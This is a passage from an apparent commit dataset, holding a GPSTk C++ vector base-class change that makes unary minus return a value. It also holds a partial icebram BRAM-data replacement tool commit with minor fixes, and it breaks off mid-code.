   VecBaseNewAssignOperator(assignFrom, =);\n      VecBaseNewAssignOperator(operator+=, +=);\n      VecBaseNewAssignOperator(operator-=, -=);\n      VecBaseNewAssignOperator(operator*=, *=);\n      VecBaseNewAssignOperator(operator\/=, \/=);\n\n         \/\/\/ unary minus: multiplies each element of this vector by -1.\n      BaseClass& operator-()\n         {\n            const T x=T(-1);\n            VecBaseAtomicAssignMacro(*=);\n         }\n\n   protected:\n         \/\/\/ Returns a modifiable object at index i.\n      inline T& vecRef(size_t i) \n         throw(VectorException)\n         {\n            BaseClass& b = static_cast<BaseClass&>(*this);\n#ifdef RANGECHECK\n            if (i >= b.size())\n            {\n               VectorException e(\"Invalid VectorBase index\");\n               GPSTK_THROW(e);\n            }\n#endif\n            return b[i]; \n         }\n   };\n\n\/**\n * A base class that represents a subset of a vector.\n *\/\n   template <class BaseClass>\n   class VectorSliceBase\n   {\n   public:\n         \/\/\/ constructor\n      explicit VectorSliceBase() {}\n\n         \/\/\/ the number of elements in the slice.\n      size_t size() const\n         { return static_cast<const BaseClass*>(this)->size(); }\n         \/\/\/ the start index in the BaseClass vector for this slice.\n      size_t start() const\n         { return static_cast<const BaseClass*>(this)->start(); }\n         \/\/\/ How many elements separate the i'th element from the i+1'th element.\n      size_t stride() const\n         { return static_cast<const BaseClass*>(this)->stride(); }\n\n   protected:\n         \/\/\/ Given the size of the source vector, checks that the slice is valid.\n      inline void vecSliceCheck(size_t sourceSize) const\n         throw(VectorException)\n         {\n#ifdef RANGECHECK\n               \/\/ sanity checks...\n            if ( (start() >= sourceSize) ||\n                 ((start() + (size() - 1) * stride()) >= sourceSize) )\n            {\n               VectorException e(\"Invalid range for slice\");\n               GPSTK_THROW(e);\n            }\n#endif\n         }\n   };\n\n\/** \n * A vector slice base class that doesn't allow modification of the \n * internal elements. \n *\/\n   template <class T, class BaseClass>\n   class ConstVectorSliceBase : public VectorSliceBase<BaseClass>,\n                             public ConstVectorBase<T, BaseClass>\n   {\npublic:\n   explicit ConstVectorSliceBase() {}\n};\n\n\/** \n * A vector slice base class that does allow modification of the \n * internal elements. \n *\/\ntemplate <class T, class BaseClass>\nclass RefVectorSliceBase : public VectorSliceBase<BaseClass>,\n                        public RefVectorBase<T, BaseClass>\n{\npublic:\n   explicit RefVectorSliceBase() {}\n};\n\n\/\/@}\n\n}  \/\/ namespace gpstk\n\n#include \"VectorBaseOperators.hpp\"\n\n#endif \/\/GPSTK_VECTOR_BASE_HPP\n<commit_msg>unary minus must not return an l-value<commit_after>#pragma ident \"$Id$\"\n\n\n\n\/**\n * @file VectorBase.hpp\n * Base Vector class\n *\/\n \n#ifndef GPSTK_VECTOR_BASE_HPP\n#define GPSTK_VECTOR_BASE_HPP\n\n\/\/============================================================================\n\/\/\n\/\/  This file is part of GPSTk, the GPS Toolkit.\n\/\/\n\/\/  The GPSTk is free software; you can redistribute it and\/or modify\n\/\/  it under the terms of the GNU Lesser General Public License as published\n\/\/  by the Free Software Foundation; either version 2.1 of the License, or\n\/\/  any later version.\n\/\/\n\/\/  The GPSTk is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/  GNU Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with GPSTk; if not, write to the Free Software Foundation,\n\/\/  Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/  \n\/\/  Copyright 2004, The University of Texas at Austin\n\/\/\n\/\/============================================================================\n\n#include <valarray>\n#include \"Exception.hpp\"\n\n#include \"MathBase.hpp\"\n\nnamespace gpstk\n{\n\/** @addtogroup VectorGroup *\/\n   \/\/@{\n \n\/\/\/ An exception thrown when there's a problem with a vector\n\/\/\/ @ingroup exceptiongroup\nNEW_EXCEPTION_CLASS(VectorException, gpstk::Exception);\n\n\/*\n * There were two overriding philosophies to the vector and matrix classes:\n *\n * The concept of \"const\" and \"reference\" (i.e. changable) vector\n * and matrix types both exist, so that any Const* type could not be altered\n * while Ref* types can.  This allowed one to add the slice classes that \n * let you use a subset of a vector and modify (or not if it's const) the\n * original vector.  Furthermore, it allowed slice and non-slice classes\n * to interoperate through the ConstVectorBase or ConstMatrixBase classes, so, for \n * example, operator* only needs to be written in terms of ConstVectorBase to\n * work correctly with Vector, VectorSlice and ConstVectorSlice.\n * \n * Remember that a slice MUST refer to a vector or matrix; you cannot have\n * a slice independent of a base vector or matrix.\n *\n * In the future:\n *\n * - Change the math operators to template expressions.\n * - Add general slices and diagonal matrix slices.\n * - Make range checking more consistent.\n * - Make operator= and copy constructors consistent between const and\n *   non-const versions.\n * - Reevaluate the need for default slice constructors...?\n * - find a way for LUD and SVD to use the template type of the parameters\n *   rather than specified when the object is created.\n * - come up with a policy for when zeroize() will be used before results\n *   are returned.\n *\n * @warning MSVC cant deal with cmath header.  \n * Changes to accomidate this may break complex!\n *\/\n\n\/**\n * A base class for a vector that does not allow modification of the internal\n * vector.  BaseClass is the base class that implements the vector.\n *\/\n   template <class T, class BaseClass>\n   class ConstVectorBase\n   {\n   public:\n         \/\/\/ Constructor\n      explicit ConstVectorBase() {}\n\n         \/\/\/ Returns the size of the base class.\n      size_t size() const\n         { return static_cast<const BaseClass*>(this)->size(); }\n         \/\/\/ returns the element at index i\n      T operator[] (size_t i) const \n         { return constVectorRef(i); }\n         \/\/\/ returns the element at index i\n      T operator() (size_t i) const \n         { return constVectorRef(i); }\n\n   protected:\n         \/\/\/ returns the element at index i by calling the base class's operator[]\n      inline T constVectorRef(size_t i) const\n         throw(VectorException)\n         {\n            const BaseClass& b = static_cast<const BaseClass&>(*this);\n#ifdef RANGECHECK\n            if (i >= b.size())\n            {\n               VectorException e(\"Invalid ConstVectorBase index\");\n               GPSTK_THROW(e);\n            }\n#endif\n            return b[i];\n         }\n   };\n\n      \/\/\/ a class to hold the static members of RefVectorBase. Static members\n      \/\/\/ in template classes have to be initialized on a PER TEMPLATE\n      \/\/\/ basis - this gets around that problem.\n   class RefVectorBaseHelper\n   {\n   public:\n         \/\/\/ used with zeroize(), any number below this value will become 0.\n         \/\/\/ this variable can be assigned any value.\n      static double zeroTolerance;\n   };\n\n\/**\n * A vector base class that allows modification of the internal representation.\n *\/\n   template <class T, class BaseClass>\n   class RefVectorBase : public ConstVectorBase<T, BaseClass>,\n                      public RefVectorBaseHelper\n   {\n   public:\n         \/\/\/ constructor\n      explicit RefVectorBase() {}\n         \/\/\/ returns a modifiable version of the element at index i.\n      T& operator[] (size_t i) \n         { return vecRef(i); }\n         \/\/\/ returns a modifiable version of the element at index i.\n      T& operator() (size_t i) \n         { return vecRef(i); }\n         \/\/\/ Any value in the vector with absolute value below\n         \/\/\/ zeroTolerance is set to zero.\n      BaseClass& zeroize()\n         {\n            BaseClass& me = static_cast<BaseClass&>(*this); \n            size_t i;\n            for (i = 0; i < me.size(); i++)\n               if (ABS(me[i]) < zeroTolerance)\n                  me[i] = T(0);\n            return me;\n         }\n\n#define VecBaseArrayAssignMacroDontCheckRange(func) \\\n   BaseClass& me = static_cast<BaseClass&>(*this); \\\n   size_t i; for (i=0; i < me.size(); i++) { \\\n      me[i] func x[i]; \\\n   } \\\n   return me;\n\n#ifdef RANGECHECK\n#define VecBaseArrayAssignMacro(func) \\\n   BaseClass& me = static_cast<BaseClass&>(*this); \\\n   if (x.size() != me.size()) \\\n      { \\\n         VectorException e(\"Unequal lengths for vectors\"); \\\n         GPSTK_THROW(e); \\\n      } \\\n   size_t i; for (i=0; i < me.size(); i++) me[i] func x[i]; \\\n   return me;\n#else\n#define VecBaseArrayAssignMacro(func) \\\nVecBaseArrayAssignMacroDontCheckRange(func)\n#endif\n\n#define VecBaseAtomicAssignMacro(func) \\\n   BaseClass& me = static_cast<BaseClass&>(*this); \\\n   size_t i; for (i=0; i < me.size(); i++) me[i] func x; \\\n   return me;\n\n#define VecBaseNewAssignOperator(funcName, op) \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   template <class E> BaseClass& funcName(const ConstVectorBase<T, E>& x) \\\n      { VecBaseArrayAssignMacro(op) } \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   BaseClass& funcName(const std::valarray<T>& x) \\\n      { VecBaseArrayAssignMacro(op) } \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   BaseClass& funcName(const T* x) \\\n      { VecBaseArrayAssignMacroDontCheckRange(op) } \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   BaseClass& funcName(T x) \\\n      { VecBaseAtomicAssignMacro(op) }\n\n         \/** \n          * Remember that operator= is NOT inherited. Derived classes can\n          * use assignFrom to initialize values from a copy constructor or\n          * their own operator= rather than explicitly copying them. \n          *\/\n      VecBaseNewAssignOperator(assignFrom, =);\n      VecBaseNewAssignOperator(operator+=, +=);\n      VecBaseNewAssignOperator(operator-=, -=);\n      VecBaseNewAssignOperator(operator*=, *=);\n      VecBaseNewAssignOperator(operator\/=, \/=);\n\n      \/\/   \/\/ unary minus: multiplies each element of this vector by -1.\n      \/\/BaseClass& operator-()\n      \/\/   {\n      \/\/      const T x=T(-1);\n      \/\/      VecBaseAtomicAssignMacro(*=);\n      \/\/   }\n      \/\/ unary minus must not return an l-value\n\n         \/\/\/ unary minus: multiplies each element in this matrix by -1.\n      BaseClass operator-()\n         {\n            const T x=T(-1);\n            BaseClass me = static_cast<BaseClass>(*this);\n            size_t i;\n            for (i=0; i < me.size(); i++) me(i) *= x;\n            return me;\n         }\n\n   protected:\n         \/\/\/ Returns a modifiable object at index i.\n      inline T& vecRef(size_t i) \n         throw(VectorException)\n         {\n            BaseClass& b = static_cast<BaseClass&>(*this);\n#ifdef RANGECHECK\n            if (i >= b.size())\n            {\n               VectorException e(\"Invalid VectorBase index\");\n               GPSTK_THROW(e);\n            }\n#endif\n            return b[i]; \n         }\n   };\n\n\/**\n * A base class that represents a subset of a vector.\n *\/\n   template <class BaseClass>\n   class VectorSliceBase\n   {\n   public:\n         \/\/\/ constructor\n      explicit VectorSliceBase() {}\n\n         \/\/\/ the number of elements in the slice.\n      size_t size() const\n         { return static_cast<const BaseClass*>(this)->size(); }\n         \/\/\/ the start index in the BaseClass vector for this slice.\n      size_t start() const\n         { return static_cast<const BaseClass*>(this)->start(); }\n         \/\/\/ How many elements separate the i'th element from the i+1'th element.\n      size_t stride() const\n         { return static_cast<const BaseClass*>(this)->stride(); }\n\n   protected:\n         \/\/\/ Given the size of the source vector, checks that the slice is valid.\n      inline void vecSliceCheck(size_t sourceSize) const\n         throw(VectorException)\n         {\n#ifdef RANGECHECK\n               \/\/ sanity checks...\n            if ( (start() >= sourceSize) ||\n                 ((start() + (size() - 1) * stride()) >= sourceSize) )\n            {\n               VectorException e(\"Invalid range for slice\");\n               GPSTK_THROW(e);\n            }\n#endif\n         }\n   };\n\n\/** \n * A vector slice base class that doesn't allow modification of the \n * internal elements. \n *\/\n   template <class T, class BaseClass>\n   class ConstVectorSliceBase : public VectorSliceBase<BaseClass>,\n                             public ConstVectorBase<T, BaseClass>\n   {\npublic:\n   explicit ConstVectorSliceBase() {}\n};\n\n\/** \n * A vector slice base class that does allow modification of the \n * internal elements. \n *\/\ntemplate <class T, class BaseClass>\nclass RefVectorSliceBase : public VectorSliceBase<BaseClass>,\n                        public RefVectorBase<T, BaseClass>\n{\npublic:\n   explicit RefVectorSliceBase() {}\n};\n\n\/\/@}\n\n}  \/\/ namespace gpstk\n\n#include \"VectorBaseOperators.hpp\"\n\n#endif \/\/GPSTK_VECTOR_BASE_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  Copyright (C) 2016  Clifford Wolf <clifford@clifford.at>\n\/\/\n\/\/  Permission to use, copy, modify, and\/or distribute this software for any\n\/\/  purpose with or without fee is hereby granted, provided that the above\n\/\/  copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\/\/  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\/\/  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <assert.h>\n#include <stdint.h>\n#include <sys\/time.h>\n\n#include <map>\n#include <vector>\n#include <string>\n#include <fstream>\n#include <iostream>\n\nusing std::map;\nusing std::pair;\nusing std::vector;\nusing std::string;\nusing std::ifstream;\nusing std::getline;\n\nuint64_t x;\nuint64_t xorshift64star(void) {\n\tx ^= x >> 12; \/\/ a\n\tx ^= x << 25; \/\/ b\n\tx ^= x >> 27; \/\/ c\n\treturn x * UINT64_C(2685821657736338717);\n}\n\nvoid parse_hexfile_line(const char *filename, int linenr, vector<vector<bool>> &hexfile, string &line)\n{\n\tvector<int> digits;\n\n\tfor (char c : line) {\n\t\tif ('0' <= c && c <= '9')\n\t\t\tdigits.push_back(c - '0');\n\t\telse if ('a' <= c && c <= 'f')\n\t\t\tdigits.push_back(10 + c - 'a');\n\t\telse if ('A' <= c && c <= 'F')\n\t\t\tdigits.push_back(10 + c - 'A');\n\t\telse goto error;\n\t}\n\n\thexfile.push_back(vector<bool>(digits.size() * 4));\n\n\tfor (int i = 0; i < digits.size() * 4; i++)\n\t\tif ((digits.at(digits.size() - i\/4 -1) & (1 << (i%4))) != 0)\n\t\t\thexfile.back().at(i) = true;\n\n\treturn;\n\nerror:\n\tfprintf(stderr, \"Can't parse line %d of %s: %s\\n\", linenr, filename, line.c_str());\n\texit(1);\n}\n\nvoid help(const char *cmd)\n{\n\tprintf(\"\\n\");\n\tprintf(\"Usage: %s [options] <from_hexfile> <to_hexfile>\\n\", cmd);\n\tprintf(\"       %s [options] -g <width> <depth>\\n\", cmd);\n\tprintf(\"\\n\");\n\tprintf(\"Replace BRAM initialization data in a .asc file. This can be used\\n\");\n\tprintf(\"for example to replace firmware images without re-running synthesis\\n\");\n\tprintf(\"and place&route.\\n\");\n\tprintf(\"\\n\");\n\tprintf(\"    -g\\n\");\n\tprintf(\"        generate a hex file with random contents.\\n\");\n\tprintf(\"        use this to generate the hex file used during synthesis, then\\n\");\n\tprintf(\"        use the same file as <from_hexfile> later.\\n\");\n\tprintf(\"\\n\");\n\tprintf(\"    -v\\n\");\n\tprintf(\"        verbose output\\n\");\n\tprintf(\"\\n\");\n\texit(1);\n}\n\nint main(int argc, char **argv)\n{\n\tbool verbose = false;\n\tbool generate = false;\n\n\tint opt;\n\twhile ((opt = getopt(argc, argv, \"vg\")) != -1)\n\t{\n\t\tswitch (opt)\n\t\t{\n\t\tcase 'v':\n\t\t\tverbose = true;\n\t\t\tbreak;\n\t\tcase 'g':\n\t\t\tgenerate = true;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\thelp(argv[0]);\n\t\t}\n\t}\n\n\tif (generate)\n\t{\n\t\tif (optind+2 != argc)\n\t\t\thelp(argv[0]);\n\n\t\tint width = atoi(argv[optind]);\n\t\tint depth = atoi(argv[optind+1]);\n\n\t\tif (width <= 0 || width % 4 != 0) {\n\t\t\tfprintf(stderr, \"Hexfile width (%d bits) is not divisible by 4 or nonpositive!\\n\", width);\n\t\t\texit(1);\n\t\t}\n\n\t\tif (depth <= 0 || depth % 256 != 0) {\n\t\t\tfprintf(stderr, \"Hexfile number of words (%d) is not divisible by 256 or nonpositive!\\n\", depth);\n\t\t\texit(1);\n\t\t}\n\n\t\tx = uint64_t(getpid()) << 32;\n\t\tx ^= uint64_t(depth) << 16;\n\t\tx ^= uint64_t(width) << 10;\n\n\t\txorshift64star();\n\t\txorshift64star();\n\t\txorshift64star();\n\n\t\tstruct timeval tv;\n\t\tgettimeofday(&tv, NULL);\n\t\tx ^= uint64_t(tv.tv_sec) << 20;\n\t\tx ^= uint64_t(tv.tv_usec);\n\n\t\txorshift64star();\n\t\txorshift64star();\n\t\txorshift64star();\n\n\t\tfor (int i = 0; i < depth; i++) {\n\t\t\tfor (int j = 0; j < width \/ 4; j++) {\n\t\t\t\tint digit = xorshift64star() & 15;\n\t\t\t\tstd::cout << \"0123456789abcdef\"[digit];\n\t\t\t}\n\t\t\tstd::cout << std::endl;\n\t\t}\n\n\t\texit(1);\n\t}\n\n\tif (optind+2 != argc)\n\t\thelp(argv[0]);\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Load from_hexfile and to_hexfile\n\n\tconst char *from_hexfile_n = argv[optind];\n\tifstream from_hexfile_f(from_hexfile_n);\n\tvector<vector<bool>> from_hexfile;\n\n\tconst char *to_hexfile_n = argv[optind+1];\n\tifstream to_hexfile_f(to_hexfile_n);\n\tvector<vector<bool>> to_hexfile;\n\n\tstring line;\n\n\tfor (int i = 1; getline(from_hexfile_f, line); i++)\n\t\tparse_hexfile_line(from_hexfile_n, i, from_hexfile, line);\n\n\tfor (int i = 1; getline(to_hexfile_f, line); i++)\n\t\tparse_hexfile_line(to_hexfile_n, i, to_hexfile, line);\n\n\tif (from_hexfile.size() != to_hexfile.size()) {\n\t\tfprintf(stderr, \"Hexfiles have different number of words! (%d vs. %d)\\n\", int(from_hexfile.size()), int(to_hexfile.size()));\n\t\texit(1);\n\t}\n\n\tif (from_hexfile.size() % 256 != 0) {\n\t\tfprintf(stderr, \"Hexfile number of words (%d) is not divisible by 256!\\n\", int(from_hexfile.size()));\n\t\texit(1);\n\t}\n\n\tfor (size_t i = 1; i < from_hexfile.size(); i++)\n\t\tif (from_hexfile.at(i-1).size() != from_hexfile.at(i).size()) {\n\t\t\tfprintf(stderr, \"Inconsistent word width at line %d of %s!\\n\", int(i), from_hexfile_n);\n\t\t\texit(1);\n\t\t}\n\n\tfor (size_t i = 1; i < to_hexfile.size(); i++)\n\t\tif (to_hexfile.at(i-1).size() != to_hexfile.at(i).size()) {\n\t\t\tfprintf(stderr, \"Inconsistent word width at line %d of %s!\\n\", int(i+1), to_hexfile_n);\n\t\t\texit(1);\n\t\t}\n\n\tif (from_hexfile.size() == 0 || from_hexfile.at(0).size() == 0) {\n\t\tfprintf(stderr, \"Empty from\/to hexfiles!\\n\");\n\t\texit(1);\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Loaded pattern for %d bits wide and %d words deep memory.\\n\", int(from_hexfile.at(0).size()), int(from_hexfile.size()));\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Create bitslices from pattern data\n\n\tmap<vector<bool>, pair<vector<bool>, int>> pattern;\n\n\tfor (int i = 0; i < int(from_hexfile.at(0).size()); i++)\n\t{\n\t\tvector<bool> pattern_from, pattern_to;\n\n\t\tfor (int j = 0; j < int(from_hexfile.size()); j++)\n\t\t{\n\t\t\tpattern_from.push_back(from_hexfile.at(j).at(i));\n\t\t\tpattern_to.push_back(to_hexfile.at(j).at(i));\n\n\t\t\tif (pattern_from.size() == 256) {\n\t\t\t\tif (pattern.count(pattern_from)) {\n\t\t\t\t\tfprintf(stderr, \"Conflicting from pattern for bit slice from_hexfile[%d:%d][%d]!\\n\", j, j-255, i);\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t\tpattern[pattern_from] = std::make_pair(pattern_to, 0);\n\t\t\t\tpattern_from.clear(), pattern_to.clear();\n\t\t\t}\n\t\t}\n\n\t\tassert(pattern_from.empty());\n\t\tassert(pattern_to.empty());\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Extracted %d bit slices from from\/to hexfile data.\\n\", int(pattern.size()));\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Read ascfile from stdin\n\n\tvector<string> ascfile_lines;\n\tmap<string, vector<vector<bool>>> ascfile_hexdata;\n\n\tfor (int i = 1; getline(std::cin, line); i++)\n\t{\n\tnext_asc_stmt:\n\t\tascfile_lines.push_back(line);\n\n\t\tif (line.substr(0, 9) == \".ram_data\")\n\t\t{\n\t\t\tauto &hexdata = ascfile_hexdata[line];\n\n\t\t\tfor (; getline(std::cin, line); i++) {\n\t\t\t\tif (line.substr(0, 1) == \".\")\n\t\t\t\t\tgoto next_asc_stmt;\n\t\t\t\tparse_hexfile_line(\"stdin\", i, hexdata, line);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Found %d initialized bram cells in asc file.\\n\", int(ascfile_hexdata.size()));\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Replace bram data\n\n\tint max_replace_cnt = 0;\n\n\tfor (auto &bram_it : ascfile_hexdata)\n\t{\n\t\tauto &bram_data = bram_it.second;\n\n\t\tfor (int i = 0; i < 16; i++)\n\t\t{\n\t\t\tvector<bool> from_bitslice;\n\n\t\t\tfor (int j = 0; j < 256; j++)\n\t\t\t\tfrom_bitslice.push_back(bram_data.at(j \/ 16).at(16 * (j % 16) + i));\n\n\t\t\tauto p = pattern.find(from_bitslice);\n\t\t\tif (p != pattern.end())\n\t\t\t{\n\t\t\t\tauto &to_bitslice = p->second.first;\n\n\t\t\t\tfor (int j = 0; j < 256; j++)\n\t\t\t\t\tbram_data.at(j \/ 16).at(16 * (j % 16) + i) = to_bitslice.at(j);\n\n\t\t\t\tmax_replace_cnt = std::max(++p->second.second, max_replace_cnt);\n\t\t\t}\n\t\t}\n\t}\n\n\tint min_replace_cnt = max_replace_cnt;\n\tfor (auto &it : pattern)\n\t\tmin_replace_cnt = std::min(min_replace_cnt, it.second.second);\n\n\tif (min_replace_cnt != max_replace_cnt) {\n\t\tfprintf(stderr, \"Found some bitslices up to %d times, others only %d times!\\n\", max_replace_cnt, min_replace_cnt);\n\t\texit(1);\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Found and replaced %d instances of the memory.\\n\", max_replace_cnt);\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Write ascfile to stdout\n\n\tfor (size_t i = 0; i < ascfile_lines.size(); i++) {\n\t\tauto &line = ascfile_lines.at(i);\n\t\tstd::cout << line << std::endl;\n\t\tif (ascfile_hexdata.count(line)) {\n\t\t\tfor (auto &word : ascfile_hexdata.at(line)) {\n\t\t\t\tfor (int k = word.size()-4; k >= 0; k -= 4) {\n\t\t\t\t\tint digit = (word[k+3] ? 8 : 0) + (word[k+2] ? 4 : 0) + (word[k+1] ? 2 : 0) + (word[k] ? 1 : 0);\n\t\t\t\t\tstd::cout << \"0123456789abcdef\"[digit];\n\t\t\t\t}\n\t\t\t\tstd::cout << std::endl;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n<commit_msg>Minor icebram improvements<commit_after>\/\/\n\/\/  Copyright (C) 2016  Clifford Wolf <clifford@clifford.at>\n\/\/\n\/\/  Permission to use, copy, modify, and\/or distribute this software for any\n\/\/  purpose with or without fee is hereby granted, provided that the above\n\/\/  copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\/\/  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\/\/  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <assert.h>\n#include <stdint.h>\n#include <sys\/time.h>\n\n#include <map>\n#include <vector>\n#include <string>\n#include <fstream>\n#include <iostream>\n\nusing std::map;\nusing std::pair;\nusing std::vector;\nusing std::string;\nusing std::ifstream;\nusing std::getline;\n\nuint64_t x;\nuint64_t xorshift64star(void) {\n\tx ^= x >> 12; \/\/ a\n\tx ^= x << 25; \/\/ b\n\tx ^= x >> 27; \/\/ c\n\treturn x * UINT64_C(2685821657736338717);\n}\n\nvoid parse_hexfile_line(const char *filename, int linenr, vector<vector<bool>> &hexfile, string &line)\n{\n\tvector<int> digits;\n\n\tfor (char c : line) {\n\t\tif ('0' <= c && c <= '9')\n\t\t\tdigits.push_back(c - '0');\n\t\telse if ('a' <= c && c <= 'f')\n\t\t\tdigits.push_back(10 + c - 'a');\n\t\telse if ('A' <= c && c <= 'F')\n\t\t\tdigits.push_back(10 + c - 'A');\n\t\telse goto error;\n\t}\n\n\thexfile.push_back(vector<bool>(digits.size() * 4));\n\n\tfor (int i = 0; i < int(digits.size()) * 4; i++)\n\t\tif ((digits.at(digits.size() - i\/4 -1) & (1 << (i%4))) != 0)\n\t\t\thexfile.back().at(i) = true;\n\n\treturn;\n\nerror:\n\tfprintf(stderr, \"Can't parse line %d of %s: %s\\n\", linenr, filename, line.c_str());\n\texit(1);\n}\n\nvoid help(const char *cmd)\n{\n\tprintf(\"\\n\");\n\tprintf(\"Usage: %s [options] <from_hexfile> <to_hexfile>\\n\", cmd);\n\tprintf(\"       %s [options] -g <width> <depth>\\n\", cmd);\n\tprintf(\"\\n\");\n\tprintf(\"Replace BRAM initialization data in a .asc file. This can be used\\n\");\n\tprintf(\"for example to replace firmware images without re-running synthesis\\n\");\n\tprintf(\"and place&route.\\n\");\n\tprintf(\"\\n\");\n\tprintf(\"    -g\\n\");\n\tprintf(\"        generate a hex file with random contents.\\n\");\n\tprintf(\"        use this to generate the hex file used during synthesis, then\\n\");\n\tprintf(\"        use the same file as <from_hexfile> later.\\n\");\n\tprintf(\"\\n\");\n\tprintf(\"    -v\\n\");\n\tprintf(\"        verbose output\\n\");\n\tprintf(\"\\n\");\n\texit(1);\n}\n\nint main(int argc, char **argv)\n{\n\tbool verbose = false;\n\tbool generate = false;\n\n\tint opt;\n\twhile ((opt = getopt(argc, argv, \"vg\")) != -1)\n\t{\n\t\tswitch (opt)\n\t\t{\n\t\tcase 'v':\n\t\t\tverbose = true;\n\t\t\tbreak;\n\t\tcase 'g':\n\t\t\tgenerate = true;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\thelp(argv[0]);\n\t\t}\n\t}\n\n\tif (generate)\n\t{\n\t\tif (optind+2 != argc)\n\t\t\thelp(argv[0]);\n\n\t\tint width = atoi(argv[optind]);\n\t\tint depth = atoi(argv[optind+1]);\n\n\t\tif (width <= 0 || width % 4 != 0) {\n\t\t\tfprintf(stderr, \"Hexfile width (%d bits) is not divisible by 4 or nonpositive!\\n\", width);\n\t\t\texit(1);\n\t\t}\n\n\t\tif (depth <= 0 || depth % 256 != 0) {\n\t\t\tfprintf(stderr, \"Hexfile number of words (%d) is not divisible by 256 or nonpositive!\\n\", depth);\n\t\t\texit(1);\n\t\t}\n\n\t\tx = uint64_t(getpid()) << 32;\n\t\tx ^= uint64_t(depth) << 16;\n\t\tx ^= uint64_t(width) << 10;\n\n\t\txorshift64star();\n\t\txorshift64star();\n\t\txorshift64star();\n\n\t\tstruct timeval tv;\n\t\tgettimeofday(&tv, NULL);\n\t\tx ^= uint64_t(tv.tv_sec) << 20;\n\t\tx ^= uint64_t(tv.tv_usec);\n\n\t\txorshift64star();\n\t\txorshift64star();\n\t\txorshift64star();\n\n\t\tfor (int i = 0; i < depth; i++) {\n\t\t\tfor (int j = 0; j < width \/ 4; j++) {\n\t\t\t\tint digit = xorshift64star() & 15;\n\t\t\t\tstd::cout << \"0123456789abcdef\"[digit];\n\t\t\t}\n\t\t\tstd::cout << std::endl;\n\t\t}\n\n\t\texit(0);\n\t}\n\n\tif (optind+2 != argc)\n\t\thelp(argv[0]);\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Load from_hexfile and to_hexfile\n\n\tconst char *from_hexfile_n = argv[optind];\n\tifstream from_hexfile_f(from_hexfile_n);\n\tvector<vector<bool>> from_hexfile;\n\n\tconst char *to_hexfile_n = argv[optind+1];\n\tifstream to_hexfile_f(to_hexfile_n);\n\tvector<vector<bool>> to_hexfile;\n\n\tstring line;\n\n\tfor (int i = 1; getline(from_hexfile_f, line); i++)\n\t\tparse_hexfile_line(from_hexfile_n, i, from_hexfile, line);\n\n\tfor (int i = 1; getline(to_hexfile_f, line); i++)\n\t\tparse_hexfile_line(to_hexfile_n, i, to_hexfile, line);\n\n\tif (from_hexfile.size() != to_hexfile.size()) {\n\t\tfprintf(stderr, \"Hexfiles have different number of words! (%d vs. %d)\\n\", int(from_hexfile.size()), int(to_hexfile.size()));\n\t\texit(1);\n\t}\n\n\tif (from_hexfile.size() % 256 != 0) {\n\t\tfprintf(stderr, \"Hexfile number of words (%d) is not divisible by 256!\\n\", int(from_hexfile.size()));\n\t\texit(1);\n\t}\n\n\tfor (size_t i = 1; i < from_hexfile.size(); i++)\n\t\tif (from_hexfile.at(i-1).size() != from_hexfile.at(i).size()) {\n\t\t\tfprintf(stderr, \"Inconsistent word width at line %d of %s!\\n\", int(i), from_hexfile_n);\n\t\t\texit(1);\n\t\t}\n\n\tfor (size_t i = 1; i < to_hexfile.size(); i++) {\n\t\twhile 